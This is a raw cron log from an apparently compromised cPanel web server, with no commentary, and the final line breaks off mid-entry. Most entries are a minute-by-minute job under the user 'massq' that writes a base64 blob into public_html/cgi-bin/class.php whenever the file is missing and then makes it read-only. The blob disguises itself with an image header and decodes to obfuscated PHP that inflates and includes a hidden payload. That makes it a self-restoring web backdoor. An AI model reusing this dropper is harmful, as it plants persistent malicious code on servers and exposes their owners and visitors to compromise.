Nov 10 03:32:01 server CROND[25977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:33:01 server CROND[26343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:33:01 server anacron[32661]: Job `cron.daily' started
Nov 10 03:33:01 server run-parts(/etc/cron.daily)[26348]: starting csget
Nov 10 03:33:01 server run-parts(/etc/cron.daily)[26358]: finished csget
Nov 10 03:33:01 server run-parts(/etc/cron.daily)[26348]: starting logclean
Nov 10 03:33:01 server run-parts(/etc/cron.daily)[26372]: finished logclean
Nov 10 03:33:01 server run-parts(/etc/cron.daily)[26348]: starting logrotate
Nov 10 03:33:02 server run-parts(/etc/cron.daily)[26394]: finished logrotate
Nov 10 03:33:02 server run-parts(/etc/cron.daily)[26348]: starting maldet
Nov 10 03:34:01 server CROND[27211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:35:01 server CROND[28024]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:35:01 server CROND[28026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:35:01 server CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 03:35:01 server CROND[28029]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 03:35:01 server CROND[28040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:36:01 server CROND[28880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:37:01 server CROND[29799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:38:01 server CROND[30622]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:39:01 server CROND[31570]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 03:39:01 server CROND[31571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:39:23 server run-parts(/etc/cron.daily)[32159]: finished maldet
Nov 10 03:39:23 server run-parts(/etc/cron.daily)[26348]: starting man-db.cron
Nov 10 03:39:23 server run-parts(/etc/cron.daily)[32240]: finished man-db.cron
Nov 10 03:39:23 server anacron[32661]: Job `cron.daily' terminated (produced output)
Nov 10 03:40:01 server CROND[1717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 03:40:01 server CROND[1719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 03:40:01 server CROND[1721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:40:01 server CROND[1718]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 03:41:01 server CROND[2745]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:42:01 server CROND[3590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:42:01 server CROND[3591]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 03:43:01 server CROND[4398]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 03:44:01 server CROND[5291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwF